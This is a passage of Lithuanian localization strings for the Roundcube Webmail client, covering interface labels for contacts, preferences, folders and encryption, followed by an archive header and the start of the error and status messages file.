$labels['manager'] = 'Vadybininkas(-ė)';
$labels['assistant'] = 'Padėjėjo(-os)';
$labels['spouse'] = 'Sutuoktinis';
$labels['allfields'] = 'Visi laukai';
$labels['search'] = 'Paieška';
$labels['searchresult'] = 'Paieškos rezultatas';
$labels['advsearch'] = 'Išplėstinė paieška';
$labels['advanced'] = 'Išsamiau';
$labels['other'] = 'Kitas';
$labels['printcontact'] = 'Spausdinti kontakto duomenis';
$labels['qrcode'] = 'QR kodas';
$labels['typehome'] = 'Namų';
$labels['typework'] = 'Darbo';
$labels['typeother'] = 'Kitas';
$labels['typemobile'] = 'Mobilusis';
$labels['typemain'] = 'Pagrindinis';
$labels['typehomefax'] = 'Namų faksas';
$labels['typeworkfax'] = 'Darbo faksas';
$labels['typecar'] = 'Automobilyje';
$labels['typepager'] = 'Pranešimų gaviklis';
$labels['typevideo'] = 'Vaizdo';
$labels['typeassistant'] = 'Padėjėjo(-os)';
$labels['typehomepage'] = 'Tinklalapis';
$labels['typeblog'] = 'Tinklaraštis';
$labels['typeprofile'] = 'Profilis';
$labels['addfield'] = 'Pridėti lauką…';
$labels['addcontact'] = 'Pridėti adresatą';
$labels['editcontact'] = 'Taisyti adresatą';
$labels['contacts'] = 'Adresatai';
$labels['contactproperties'] = 'Adresato savybės';
$labels['contactnameandorg'] = 'Vardas ir organizacija';
$labels['personalinfo'] = 'Asmeniniai duomenys';
$labels['personal'] = 'Asmeninis';
$labels['contactphoto'] = 'Adresato nuotrauka';
$labels['edit'] = 'Redaguoti';
$labels['cancel'] = 'Atsisakyti';
$labels['save'] = 'Įrašyti';
$labels['delete'] = 'Pašalinti';
$labels['discard'] = 'Panaikinti';
$labels['continue'] = 'Tęsti';
$labels['ok'] = 'Gerai';
$labels['rename'] = 'Pervardinti';
$labels['addphoto'] = 'Pridėti';
$labels['replacephoto'] = 'Pakeisti';
$labels['uploadphoto'] = 'Įkelti nuotrauką';
$labels['choosefile'] = 'Pasirinkti failą...';
$labels['choosefiles'] = 'Pasirinkti failus...';
$labels['browse'] = 'Naršyti';
$labels['newcontact'] = 'Sukurti naują adresatą';
$labels['deletecontact'] = 'Ištrinti pažymėtus adresatus';
$labels['composeto'] = 'Rašyti laišką';
$labels['contactsfromto'] = 'Adresatai nuo $from iki $to iš $count';
$labels['print'] = 'Spausdinti';
$labels['export'] = 'Eksportuoti';
$labels['exportall'] = 'Eksportuoti visus';
$labels['exportsel'] = 'Eksportuoti pažymėtus';
$labels['exportvcards'] = 'Eksportuoti adresatus  „vCard“ formatu';
$labels['newgroup'] = 'Kurti naują grupę';
$labels['addgroup'] = 'Pridėti grupę';
$labels['grouprename'] = 'Pervardinti grupę';
$labels['groupdelete'] = 'Pašalinti grupę';
$labels['groupassign'] = 'Priskirti grupei...';
$labels['groupremove'] = 'Šalinti iš grupės';
$labels['groupremoveselected'] = 'Pašalinti pažymėtus adresatus iš grupės';
$labels['uponelevel'] = 'Į viršų per vieną';
$labels['previouspage'] = 'Rodyti ankstesnį puslapį';
$labels['firstpage'] = 'Rodyti pirmąjį puslapį';
$labels['nextpage'] = 'Rodyti tolesnį puslapį';
$labels['lastpage'] = 'Rodyti paskutinį puslapį';
$labels['group'] = 'Grupė';
$labels['groups'] = 'Grupės';
$labels['listgroup'] = 'Išvardinti grupės narius';
$labels['personaladrbook'] = 'Asmeniniai adresai';
$labels['searchsave'] = 'Įrašyti kaip radinių aplanką';
$labels['searchdelete'] = 'Pašalinti radinių aplanką';
$labels['import'] = 'Importuoti';
$labels['importcontacts'] = 'Importuoti adresatus';
$labels['importfromfile'] = 'Importuoti iš failo';
$labels['importtarget'] = 'Pridėti adresatus į';
$labels['importreplace'] = 'Perrašyti visą adresų knygą';
$labels['importgroups'] = 'Importuoti priskyrimus grupėms';
$labels['importgroupsall'] = 'Visus (sukurti trūkstamas grupes)';
$labels['importgroupsexisting'] = 'Tik esamoms grupėms';
$labels['importdesc'] = 'Galite įkelti kontaktus iš jau turimos adresų knygos.<br/>Šiuo metu galima importuoti kontaktus iš <a href="https://en.wikipedia.org/wiki/VCard">vCard</a> ar CSV (comma-separated) duomenų formatų.';
$labels['done'] = 'Baigta';
$labels['settingsfor'] = 'Nuostatos';
$labels['about'] = 'Apie';
$labels['preferences'] = 'Nuostatos';
$labels['userpreferences'] = 'Naudotojo nuostatos';
$labels['editpreferences'] = 'Keisti naudotojo nuostatas';
$labels['identities'] = 'Tapatybės';
$labels['manageidentities'] = 'Tvarkyti tapatybes';
$labels['newidentity'] = 'Sukurti naują tapatybę';
$labels['addidentity'] = 'Pridėti tapatybę';
$labels['editidentity'] = 'Tvarkyti tapatybę';
$labels['identityencryption'] = 'Šifravimas';
$labels['preferhtml'] = 'Rodyti HTML';
$labels['defaultcharset'] = 'Numatytoji koduotė';
$labels['htmlmessage'] = 'HTML laiškas';
$labels['messagepart'] = 'Dalis';
$labels['digitalsig'] = 'Skaitmeninis parašas';
$labels['dateformat'] = 'Datos formatas';
$labels['timeformat'] = 'Laiko formatas';
$labels['prettydate'] = 'Dailios datos';
$labels['setdefault'] = 'Laikyti numatytąja';
$labels['autodetect'] = 'Aptikti automatiškai';
$labels['language'] = 'Kalba';
$labels['timezone'] = 'Laiko juosta';
$labels['pagesize'] = 'Eilučių skaičius puslapyje';
$labels['signature'] = 'Parašas';
$labels['dstactive'] = 'Vasaros laikas skiriasi';
$labels['showinextwin'] = 'Atidaryti pranešimą naujame lange';
$labels['composeextwin'] = 'Rašyti naujame lange';
$labels['htmleditor'] = 'Laiškus kurti HTML formatu';
$labels['htmlonreply'] = 'tik atsakymus į HTML formato laiškus';
$labels['htmlonreplyandforward'] = 'atsakant į HTML laišką arba jį persiunčiant';
$labels['htmlsignature'] = 'HTML parašas';
$labels['showemail'] = 'Rodyti el. pašto adresą ir asmenvardį';
$labels['previewpane'] = 'Rodyti laiško peržiūros polangį';
$labels['skin'] = 'Grafinis apvalkalas';
$labels['logoutclear'] = 'Išvalyti Šiukšlinę atsijungiant';
$labels['logoutcompact'] = 'Suglaudinti gautųjų laiškų aplanką atsijungiant';
$labels['uisettings'] = 'Naudotojo sąsaja';
$labels['serversettings'] = 'Serverio nuostatos';
$labels['mailboxview'] = 'Pašto dėžutės rodymas';
$labels['mdnrequests'] = 'Gavus prašymą patvirtinti, jog laiškas perskaitytas';
$labels['askuser'] = 'visuomet klausti, ar siųsti patvirtinimą';
$labels['autosend'] = 'visuomet siųsti patvirtinimą automatiškai';
$labels['autosendknown'] = 'automatiškai siųsti patvirtinimą adresų knygoje esantiems adresatams, kitu atveju klausti';
$labels['autosendknownignore'] = 'automatiškai siųsti patvirtinimą adresų knygoje esantiems adresatams, kitu atveju nesiųsti';
$labels['autosendtrusted'] = 'automatiškai siųsti patvirtinimą patikimiems siuntėjams, kitu atveju klausti';
$labels['ignorerequest'] = 'Ignoruoti prašymą';
$labels['readwhendeleted'] = 'Pažymėti laišką kaip skaitytą prieš šalinant';
$labels['flagfordeletion'] = 'Pažymėti laišką šalinimui užuot šalinus';
$labels['skipdeleted'] = 'Nerodyti pašalintų laiškų';
$labels['deletealways'] = 'Pašalinti laiškus, jeigu nepavyksta jų perkelti į Šiukšlinę';
$labels['deletejunk'] = 'Pašalinti Brukalo aplanke esančius laiškus';
$labels['showremoteimages'] = 'Įkelti paveikslėlius iš interneto serverių';
$labels['allowremoteresources'] = 'Leisti nuotolinius išteklius (paveikslėlius, stilius)';
$labels['fromknownsenders'] = 'tik žinomų siuntėjų laiškuose';
$labels['always'] = 'visada';
$labels['alwaysbutplain'] = 'visuomet, išskyrus atsakant į grynojo teksto laiškus';
$labels['showinlineimages'] = 'Rodyti pridėtus paveikslėlius žemiau laiško';
$labels['autosavedraft'] = 'Automatiškai įrašyti juodraščius';
$labels['everynminutes'] = 'kas $n min.';
$labels['refreshinterval'] = 'Atnaujinti (patikrinti, ar nėra naujų laiškų ir pan.)';
$labels['never'] = 'niekada';
$labels['immediately'] = 'nedelsiant';
$labels['messagesdisplaying'] = 'Laiškų rodymas';
$labels['messagescomposition'] = 'Laiškų rašymas';
$labels['mimeparamfolding'] = 'Prisegtų failų vardų kodavimas';
$labels['2231folding'] = 'visiškas RFC 2231 (Thunderbird)';
$labels['miscfolding'] = 'RFC 2047/2231 (MS Outlook)';
$labels['2047folding'] = 'visiškas RFC 2047 (kitos programos)';
$labels['force7bit'] = 'Naudoti MIME kodavimą 8 bitų simboliams';
$labels['savelocalstorage'] = "Išsaugoti naršyklės laikinoje saugykloje (keše)";
$labels['advancedoptions'] = 'Papildomos nuostatos';
$labels['toggleadvancedoptions'] = 'Rodyti/slėpti papildomus nustatymus';
$labels['focusonnewmessage'] = 'Fokusuoti naršyklės langą gavus naują laišką';
$labels['checkallfolders'] = 'Naujų laiškų ieškoti visuose aplankuose';
$labels['displaynext'] = 'Rodyti kitą sąrašo įrašą ištrinus/perkėlus';
$labels['defaultfont'] = 'Numatytasis HTML laiškų šriftas';
$labels['mainoptions'] = 'Pagrindinės nuostatos';
$labels['browseroptions'] = 'Naršyklės nuostatos';
$labels['section'] = 'Sekcija';
$labels['maintenance'] = 'Priežiūra';
$labels['newmessage'] = 'Naujas laiškas';
$labels['signatureoptions'] = 'Parašo nuostatos';
$labels['whenreplying'] = 'Kuriant atsakymą';
$labels['replyempty'] = 'necituoti originalaus laiško';
$labels['replytopposting'] = 'rašyti atsakymą virš cituojamo laiško';
$labels['replytoppostingnoindent'] = 'rašyti atsakymą virš cituojamo laiško (be įtraukos)';
$labels['replybottomposting'] = 'rašyti atsakymą po cituojamu laišku';
$labels['replyremovesignature'] = 'Pašalinti cituojamame laiške esantį parašą';
$labels['autoaddsignature'] = 'Automatiškai pridėti parašą';
$labels['newmessageonly'] = 'tik naujuose laiškuose';
$labels['replyandforwardonly'] = 'tik atsakymuose ir persiunčiamuose laiškuose';
$labels['insertsignature'] = 'Pridėti parašą';
$labels['sigbelow'] = 'Įterpti parašą žemiau kabutėmis išskirto laiško turinio';
$labels['sigseparator'] = 'Priverstinai naudoti standartinį skyriklį parašuose';
$labels['automarkread'] = 'Pažymėti laiškus kaip skaitytus';
$labels['afternseconds'] = 'praėjus $n sek.';
$labels['reqmdn'] = 'Visuomet prašyti patvirtinimo, jog laiškas perskaitytas';
$labels['reqdsn'] = 'Visuomet prašyti laiško pristatymo pažymos';
$labels['replysamefolder'] = 'Atsakymus talpinti į tą patį aplanką, kuriame yra pirminis laiškas';
$labels['defaultabook'] = 'Numatytoji adresų knyga';
$labels['autocompletesingle'] = 'Užbaigiant adresus, praleisti antrinius';
$labels['listnamedisplay'] = 'Rodyti adresatus kaip';
$labels['collectedaddresses'] = 'Surinkti adresai';
$labels['collectedrecipients'] = 'Surinkti gavėjai';
$labels['collectedrecipientsopt'] = 'Laikyti išsiunčiamų el. laiškų gavėjus ties';
$labels['collectedsendersopt'] = 'Laikyti patikimus siuntėjus ties';
$labels['trustedsenders'] = 'Patikimi siuntėjai';
$labels['spellcheckbeforesend'] = 'Tikrinti rašybą prieš išsiunčiant laišką';
$labels['spellcheckoptions'] = 'Rašybos tikrinimo nuostatos';
$labels['spellcheckignoresyms'] = 'Nepaisyti žodžių su spec. simboliais';
$labels['spellcheckignorenums'] = 'Nepaisyti žodžių su skaitmenimis';
$labels['spellcheckignorecaps'] = 'Nepaisyti žodžių vien iš didžiųjų raidžių';
$labels['addtodict'] = 'Įtraukti į žodyną';
$labels['mailtoprotohandler'] = 'Užregistruoti svetainę kaip dirbančią su „mailto:“ saitais';
$labels['standardwindows'] = 'Iškylančiuosius langus traktuoti kaip įprastus';
$labels['forwardmode'] = 'Laiškų persiuntimo būdas';
$labels['inline'] = 'kaip citatą';
$labels['asattachment'] = 'kaip priedas';
$labels['replyallmode'] = 'Numatytasis mygtuko „Atsakyti visiems“ veiksmas';
$labels['replyalldefault'] = 'atsakyti visiems';
$labels['replyalllist'] = 'atsakyti el. pašto grupei (jei aptikta)';
$labels['allmessages'] = 'visi laiškai';
$labels['folder'] = 'Aplankas';
$labels['folders'] = 'Aplankai';
$labels['foldername'] = 'Aplanko vardas';
$labels['subscribed'] = 'Užsakytas';
$labels['messagecount'] = 'Laiškai';
$labels['create'] = 'Sukurti';
$labels['createfolder'] = 'Sukurti naują aplanką';
$labels['managefolders'] = 'Tvarkyti aplankus';
$labels['specialfolders'] = 'Specialieji aplankai';
$labels['properties'] = 'Savybės';
$labels['folderproperties'] = 'Aplanko savybės';
$labels['parentfolder'] = 'Tėvinis aplankas';
$labels['location'] = 'Vieta';
$labels['info'] = 'Informacija';
$labels['getfoldersize'] = 'Spustelėkite, norėdami sužinoti aplanko dydį';
$labels['changesubscription'] = 'Spustelėkite, norėdami keisti prenumeratos nuostatas';
$labels['foldertype'] = 'Aplanko tipas';
$labels['personalfolder'] = 'Asmeninis aplankas';
$labels['otherfolder'] = 'Kito naudotojo aplankas';
$labels['sharedfolder'] = 'Viešas aplankas';
$labels['findfolders'] = 'Ieškoti aplankų';
$labels['findcontacts'] = 'Rasti adresatus';
$labels['findmail'] = 'Rasti el. laiškus';
$labels['namespace.personal'] = 'Asmeninis';
$labels['namespace.other'] = 'Kito naudotojo';
$labels['namespace.shared'] = 'Bendrinamas';
$labels['dualuselabel'] = 'Savyje gali turėti tik';
$labels['dualusemail'] = 'laiškai';
$labels['dualusefolder'] = 'aplankai';
$labels['generate'] = 'Generuoti';
$labels['encryptioncreatekey'] = 'Kurti naują raktų porą';
$labels['openmailvelopesettings'] = 'Atverti Mailvelope nustatymus';
$labels['encryptionprivkeysinmailvelope'] = 'Turite $nr atitinkančius privačiuosius raktus, saugomus jūsų Mailvelope raktinėje:';
$labels['encryptionnoprivkeysinmailvelope'] = 'Šio siuntėjo tapatybė kol kas neturi jūsų Mailvelope priede saugomo PGP privačiojo rakto. Ar norėtumėte jį sukurti, kad būtų įjungtas šifruotas susirašinėjimas?';
$labels['encryption'] = 'Šifravimas';
$labels['mailvelopeoptions'] = 'Mailvelope nuostatos';
$labels['mailvelopemainkeyring'] = 'Naudoti Mailvelope pagrindinę raktinę';
$labels['mailvelopenotfound'] = 'Jūsų naršyklėje nėra įjungtas/įdiegtas Mailvelope priedas.';
$labels['sortby'] = 'Rikiuoti pagal';
$labels['sortasc'] = 'Rikiuoti didėjančiai';
$labels['sortdesc'] = 'Rikiuoti mažėjančiai';
$labels['undo'] = 'Atšaukti';
$labels['installedplugins'] = 'Įdiegti įskiepiai';
$labels['plugin'] = 'Papildinys';
$labels['version'] = 'Versija';
$labels['source'] = 'Šaltinis';
$labels['destination'] = 'Paskirtis';
$labels['license'] = 'Licencija';
$labels['support'] = 'Gauti pagalbos';
$labels['savedsearches'] = 'Įrašytos paieškos';
$labels['dateformatY'] = 'MMMM';
$labels['dateformaty'] = 'MM';
$labels['dateformatm'] = 'mm';
$labels['dateformatd'] = 'dd';
$labels['dateformatj'] = 'd';
$labels['dateformatn'] = 'm';
$labels['B'] = 'B';
$labels['KB'] = 'KB';
$labels['MB'] = 'MB';
$labels['GB'] = 'GB';
$labels['unicode'] = 'Unikodas';
$labels['english'] = 'Anglų';
$labels['westerneuropean'] = 'Vakarų Europos';
$labels['easterneuropean'] = 'Rytų Europos';
$labels['southeasterneuropean'] = 'Pietryčių Europos';
$labels['baltic'] = 'Baltijos šalių';
$labels['cyrillic'] = 'Kirilica';
$labels['arabic'] = 'Arabų';
$labels['greek'] = 'Graikų';
$labels['hebrew'] = 'Hebrajų';
$labels['turkish'] = 'Turkų';
$labels['nordic'] = 'Šiaurės šalių';
$labels['thai'] = 'Tajų';
$labels['celtic'] = 'Keltų';
$labels['vietnamese'] = 'Vietnamiečių';
$labels['japanese'] = 'Japonų';
$labels['korean'] = 'Korėjiečių';
$labels['chinese'] = 'Kinų';
$labels['arialabeltopnav'] = 'Lango valdymas';
$labels['arialabeltasknav'] = 'Aplikacijos užduotys';
$labels['arialabeltoolbar'] = 'Aplikacijos įrankių juosta';
$labels['arialabellistnav'] = 'Naršymas sąraše';
$labels['arialabelactivetask'] = 'Aktyvi užduotis';
$labels['arialabelmessagessearchfilter'] = 'Laiškų sąrašo filtras';
$labels['arialabelmailsearchform'] = 'El. laiško paieškos forma';
$labels['arialabelcontactsearchform'] = 'Adresatų paieškos forma';
$labels['arialabelmailquicksearchbox'] = 'El. pašto paieškos įvestis';
$labels['arialabelquicksearchbox'] = 'Paieškos įvestis';
$labels['arialabelfoldersearchfilter'] = 'Aplankų sąrašo filtras';
$labels['arialabelfoldersearchform'] = 'Aplanko paieškos forma';
$labels['arialabelfolderlist'] = 'Laiškų aplanko pasirinkimas';
$labels['arialabelmessagelist'] = 'Elektroninių laiškų sąrašas';
$labels['arialabelmailpreviewframe'] = 'Laiško peržiūra';
$labels['arialabelmailboxmenu'] = 'Veiksmų su aplankais meniu';
$labels['arialabellistselectmenu'] = 'Sąrašo pasirinkimo meniu';
$labels['arialabelthreadselectmenu'] = 'Gijų sąrašo meniu';
$labels['arialabelmessagelistoptions'] = 'Laiškų rodymo ir rikiavimo nustatymai';
$labels['arialabelmailimportdialog'] = 'Laiškų importavimo dialogas';
$labels['arialabelmessagenav'] = 'Navigacija tarp laiškų';
$labels['arialabelmessagebody'] = 'Laiško turinys';
$labels['arialabelmessageactions'] = 'Veiksmai su laišku';
$labels['arialabelcontactquicksearch'] = 'Adresatų paieškos forma';
$labels['arialabelcontactsearchbox'] = 'Kontaktų paieškos įvestis';
$labels['arialabelmessageheaders'] = 'Laiško antraštės';
$labels['arialabelforwardingoptions'] = 'Persiuntimo nustatymai';
$labels['arialabelreplyalloptions'] = 'Atsakyti visiems nustatymai';
$labels['arialabelmoremessageactions'] = 'Daugiau laiškų veiksmų';
$labels['arialabelmorecontactactions'] = 'Daugiau adresatų veiksmų';
$labels['arialabelmarkmessagesas'] = 'Pažymėti pasirinktus laiškus kaip...';
$labels['arialabelcomposeoptions'] = 'Laiško kūrimo nustatymai';
$labels['arialabelresponsesmenu'] = 'Atsakymų meniu';
$labels['arialabelattachmentuploadform'] = 'Priedo įkėlimo forma';
$labels['arialabelattachmentmenu'] = 'Priedo nuostatos';
$labels['arialabelmailtomenu'] = 'El. pašto adreso nuostatos';
$labels['arialabelattachmentpreview'] = 'Priedo peržiūra';
$labels['ariasummarycomposecontacts'] = 'Sąrašas adresatų ir grupių, kuriuos galima pasirinkti kaip gavėją';
$labels['arialabelcontactexportoptions'] = 'Adresatų eksportavimo nustymai';
$labels['arialabelabookgroupoptions'] = 'Adresų knygos/grupių nustatymai';
$labels['arialabelpreferencesform'] = 'Nustatymų forma';
$labels['arialabelidentityeditfrom'] = 'Tapatybės redagavimo forma';
$labels['arialabelresponseeditfrom'] = 'Atsakymo redagavimo forma';
$labels['arialabelsearchterms'] = 'Paieškos žodžiai';
$labels['arialabeldropactionmenu'] = 'Vilkimo veiksmo meniu';
$labels['arialabelheadersmenu'] = 'Gavėjo (antraštė) pridėjimo meniu';
$labels['arialabelimagetools'] = 'Paveikslų įrankiai';
$labels['helplistnavigation'] = 'Navigacija klaviatūra sąraše';
$labels['helplistkeyboardnavigation'] = "Rodyklė aukštyn / žemyn: fokusuoti / pasirinkti kitą eilutę.
Tarpas: pasirinkti sufokusuoą eilutę.
Lyg2 + rodyklė aukštyn / žemyn: pasirinkti papildomą eilutę viršuje / apačioje.
Vald + tarpas: įtraukti sufokusuotą eilutę į pasirinktų sąrašą / pašalinti ją iš jo.";
$labels['helplistkeyboardnavmessages'] = "Rodyklė dešinėn / kairėn: išskleisti / suskleisti laiškų giją (esant gijų veiksenoje).
Įvesti: atverti pasirinktą / sufokusuotą laišką.
Šalinti: perkelti pasirinktus laiškus į Šiukšlinę.";
$labels['helplistkeyboardnavcontacts'] = "Enter: Atidaryti pasirinktą adresatą";
PK
h�\�)�:�F�F'program/localization/lt_LT/messages.incnu�[���<?php

/*
 +-----------------------------------------------------------------------+
 | Localization file of the Roundcube Webmail client                     |
 |                                                                       |
 | Copyright (C) The Roundcube Dev Team                                  |
 |                                                                       |
 | Licensed under the GNU General Public License version 3 or            |
 | any later version with exceptions for skins & plugins.                |
 | See the README file for a full license statement.                     |
 +-----------------------------------------------------------------------+

 For translation see https://www.transifex.com/projects/p/roundcube-webmail/resource/messages/
*/

$messages['errortitle']  = 'Įvyko klaida!';
$messages['loginfailed']  = 'Prisijungti nepavyko.';
$messages['cookiesdisabled'] = 'Jūsų naršyklė nepriima slapukų.';
$messages['sessionerror'] = 'Jūsų sesija negaliojanti.';
$messages['cookiesmismatch'] = 'Aptiktas slapukų neatitikimas. Prašome išvalyti savo naršyklės slapukus.';
$messages['storageerror'] = 'Nepavyko prisijungti prie IMAP serverio.';
$messages['servererror'] = 'Serverio klaida!';
$messages['servererrormsg'] = 'Serverio klaida: $msg';
$messages['accountlocked'] = 'Per daug nesėkmingų bandymų prisijungti. Bandykite jungtis vėliau.';
$messages['connerror'] = 'Ryšio klaida (nepavyko susijungti su serveriu)!';
$messages['dberror'] = 'Duomenų bazės klaida!';
$messages['dbconnerror'] = 'Nepavyko prisijungti prie duomenų bazės!';
$messages['windowopenerror'] = 'Buvo užblokuotas iššokantis langas!';
$messages['requesttimedout'] = 'Baigėsi užklausai skirtas laikas';
$messages['errorreadonly'] = 'Nepavyko atlikti veiksmo – aplankas prieinamas tik skaitymui.';
$messages['errornoperm'] = 'Nepavyko atlikti veiksmo – nepakanka teisių.';
$messages['erroroverquota'] = 'Nepavyko atlikti veiksmo. Diske trūksta laisvos vietos.';
$messages['erroroverquotadelete'] = 'Diske trūksta laisvos vietos. Laiškui pašalinti naudokite Lyg2+Šal (Shift+Del) klavišų kombinaciją.';
$messages['invalidrequest'] = 'Netinkama užklausa! Duomenys neišsaugoti.';
$messages['invalidhost'] = 'Negalimas serverio vardas.';
$messages['nomessagesfound'] = 'Šioje pašto dėžutėje laiškų nėra.';
$messages['loggedout'] = 'Jūs sėkmingai užbaigėte sesiją. Viso gero!';
$messages['mailboxempty'] = 'Pašto dėžutė tuščia.';
$messages['nomessages'] = 'Laiškų nėra';
$messages['refreshing'] = 'Atnaujinama…';
$messages['loading'] = 'Įkeliama…';
$messages['uploading'] = 'Įkeliamas failas…';
$messages['attaching'] = 'Įkeliamas failas…';
$messages['uploadingmany'] = 'Įkeliami failai…';
$messages['loadingdata'] = 'Įkeliami duomenys…';
$messages['checkingmail'] = 'Tikrinama ar nėra naujų pranešimų…';
$messages['sendingmessage'] = 'Siunčiamas laiškas…';
$messages['messagesent'] = 'Laiškas sėkmingai nusiųstas.';
$messages['savingmessage'] = 'Laiškas įrašomas…';
$messages['messagesaved'] = 'Laiškas įrašytas į Juodraščių aplanką.';
$messages['successfullysaved'] = 'Sėkmingai įrašyta.';
$messages['savingresponse'] = 'Įrašomas atsakymo tekstas…';
$messages['deleteresponseconfirm'] = 'Ar tikrai norite pašalinti šį atsakymo tekstą?';
$messages['nocontactselected'] = 'Kol kas nesate pasirinkę adresato.';
$messages['addedsuccessfully'] = 'Asmuo įtrauktas į adresų knygą.';
$messages['contactexists'] = 'Adresatas, turintis šį el. pašto adresą, jau egzistuoja.';
$messages['contactnameexists'] = 'Adresatas tokiu vardu jau egzistuoja.';
$messages['blockedimages'] = 'Siekiant apsaugoti Jūsų privatumą, paveikslėliai iš interneto neįkelti.';
$messages['blockedresources'] = 'Siekiant apsaugoti jūsų privatumą, nuotoliniai ištekliai buvo užblokuoti.';
$messages['suspiciousemail'] = 'Šiame laiške yra įtartinų el. pašto adresų, kurie gali būti apgaulingi.';
$messages['encryptedmessage'] = 'Apgailestaujame, tačiau šis laiškas užšifruotas ir negali būti parodytas.';
$messages['externalmessagedecryption'] = 'Šis laiškas šifruotas. Jį iššifruoti galima jūsų naršyklės priedo pagalba.';
$messages['nopubkeyfor'] = 'Adresui $email nerastas galiojantis viešasis raktas. Ar norite šifruoti laišką tiktai gavėjams?';
$messages['nopubkeyforsender'] = 'Jūsų tapatybei nerastas galiojantis viešasis raktas. Ar norite užšifruoti laišką tiktai gavėjams?';
$messages['encryptnoattachments'] = 'Jau įkeltų priedų užšifruoti negalima. Jei norite tai padaryti, įkelkite juos iš naujo šifravimo redaktoriuje.';
$messages['searchpubkeyservers'] = 'Ar norite ieškoti trūkstamų raktų viešuosiuose raktų serveriuose?';
$messages['encryptpubkeysfound'] = 'Aptikti šie viešieji raktai:';
$messages['keyservererror'] = 'Nepavyko gauti rakto iš raktų serverio.';
$messages['keyimportsuccess'] = 'Viešasis raktas $key sėkmingai įtrauktas į jūsų raktinę.';
$messages['nocontactsfound'] = 'Adresatų nerasta.';
$messages['contactnotfound'] = 'Ieškotas adresatas nerastas.';
$messages['contactsearchonly'] = 'Turite naudoti paieškos formą, norėdami pamatyti adresatus iš pasirinktos adresų knygos.';
$messages['sendingfailed'] = 'Laiško išsiųsti nepavyko.';
$messages['senttooquickly'] = 'Turite luktelėti $sec sek., kad galėtumėte išsiųsti laišką.';
$messages['errorsavingsent'] = 'Įrašant išsiųstą laišką, įvyko klaida.';
$messages['errorsaving'] = 'Įvyko klaida įrašant.';
$messages['errormoving'] = 'Laiško(-ų) perkelti nepavyko.';
$messages['errorcopying'] = 'Laiško(-ų) nukopijuoti nepavyko.';
$messages['errordeleting'] = 'Laiško(-ų) pašalinti nepavyko.';
$messages['errormarking'] = 'Laiško(-ų) pažymėti nepavyko.';
$messages['alerttitle'] = 'Dėmėsio';
$messages['confirmationtitle'] = 'Ar tikrai...';
$messages['deletecontactconfirm']  = 'Ar tikrai pašalinti pažymėtą(-us) adresatą(-us)?';
$messages['deletegroupconfirm']  = 'Ar tikrai pašalinti pažymėtą grupę?';
$messages['deletemessagesconfirm'] = 'Ar tikrai pašalinti pažymėtą(-us) laišką(-us)?';
$messages['deletefolderconfirm']  = 'Ar tikrai pašalinti šį aplanką?';
$messages['movefolderconfirm']  = 'Ar tikrai norite perkelti šį aplanką?';
$messages['purgefolderconfirm']  = 'Ar tikrai pašalinti visus šiame aplanke esančius laiškus?';
$messages['contactdeleting'] = 'Adresatas(-ai) šalinamas(-i)…';
$messages['groupdeleting'] = 'Grupė šalinama…';
$messages['folderdeleting'] = 'Aplankas šalinamas…';
$messages['foldermoving'] = 'Aplankas perkeliamas…';
$messages['foldersubscribing'] = 'Aplankas prenumeruojamas…';
$messages['folderunsubscribing'] = 'Atsisakoma aplanko prenumeratos…';
$messages['formincomplete'] = 'Forma nepilnai užpildyta.';
$messages['noemailwarning'] = 'Prašom įvesti teisingą el. pašto adresą.';
$messages['nonamewarning']  = 'Prašom įvesti vardą.';
$messages['nopagesizewarning'] = 'Prašom įvesti puslapio dydį.';
$messages['nosenderwarning'] = 'Prašom įvesti siuntėjo el. pašto adresą.';
$messages['recipientsadded'] = 'Gavėjas(-ai) sėkmingai pridėtas(-i).';
$messages['norecipientwarning'] = 'Prašom įvesti bent vieną gavėją.';
$messages['disclosedrecipwarning'] = 'Visi gavėjai matys vieni kitų el. pašto adresus. Tam, kad to neleistumėte ir apsaugotumėte jų privatumą, galite naudoti Bcc lauką.';
$messages['disclosedreciptitle'] = 'Per daug viešų gavėjų';
$messages['nosubjectwarning']  = 'Temos laukelis tuščias. Ar norite temą įvesti dabar?';
$messages['nosubjecttitle']  = 'Nenurodyta tema';
$messages['nobodywarning'] = 'Išsiųsti šį laišką be teksto?';
$messages['notsentwarning'] = 'Laiškas nebuvo išsiųstas ir jame yra neišsaugotų pakeitimų. Ar norite panaikinti savo pakeitimus?';
$messages['restoresavedcomposedata'] = 'Buvo rastas anksčiau pradėtas rašyti, bet neišsiųstas laiškas.\n\nTema:$subject\nIšsaugotas: $date\n\nAr norite šį laišką atkurti?';
$messages['nosearchname'] = 'Prašom įvesti vardą arba el. pašto adresą.';
$messages['notuploadedwarning'] = 'Įkelti dar ne visi priedai. Prašom palaukti arba atšaukti jų įkėlimą.';
$messages['searchsuccessful'] = 'Rasta laiškų: $nr.';
$messages['contactsearchsuccessful'] = 'Rasta adresatų: $nr.';
$messages['searchnomatch'] = 'Paiešką atitinkančių rezultatų nėra.';
$messages['searching'] = 'Ieškoma…';
$messages['checking'] = 'Tikrinama…';
$messages['stillsearching'] = 'Dar ieškoma...';
$messages['nospellerrors'] = 'Rašybos klaidų nerasta.';
$messages['folderdeleted'] = 'Aplankas sėkmingai pašalintas.';
$messages['foldersubscribed'] = 'Aplankas sėkmingai užprenumeruotas.';
$messages['folderunsubscribed'] = 'Aplanko prenumeratos sėkmingai atsisakyta.';
$messages['deletedsuccessfully'] = 'Sėkmingai pašalinta.';
$messages['converting'] = 'Šalinamas laiško formatavimas…';
$messages['messageopenerror'] = 'Nepavyko įkelti laiško iš serverio.';
$messages['filelinkerror'] = 'Failo įkelti nepavyko.';
$messages['fileuploaderror'] = 'Nepavyko įkelti failo.';
$messages['csvfilemismatch'] = 'Kelių CSV failų su skirtingais laukais importavimas yra nepalaikomas.';
$messages['filesizeerror'] = 'Įkeltas failas viršija maksimalų leistiną dydį – $size.';
$messages['filecounterror'] = 'Jūs daugiausiai vienu metu galite įkelti $count failų(-us).';
$messages['msgsizeerror'] = 'Nepavyko pridėti failo. Viršytas maksimalus leistinas laiko dydis ($size).';
$messages['msgsizeerrorfwd'] = 'Viršytas maksimalus laiško dydis ($size). $num laiškai(-ų) nebuvo pridėti.';
$messages['copysuccess'] = 'Nukopijuota adresatų: $nr.';
$messages['movesuccess'] = 'Perkelta adresatų: $nr.';
$messages['copyerror'] = 'Adresatų nukopijuoti nepavyko.';
$messages['moveerror'] = 'Adresatų perkelti nepavyko.';
$messages['sourceisreadonly'] = 'Šis adresų šaltinis prieinamas tik skaitymui.';
$messages['errorsavingcontact'] = 'Asmens adreso įrašyti nepavyko.';
$messages['movingmessage'] = 'Laiškas(-ai) perkeliamas(-i)…';
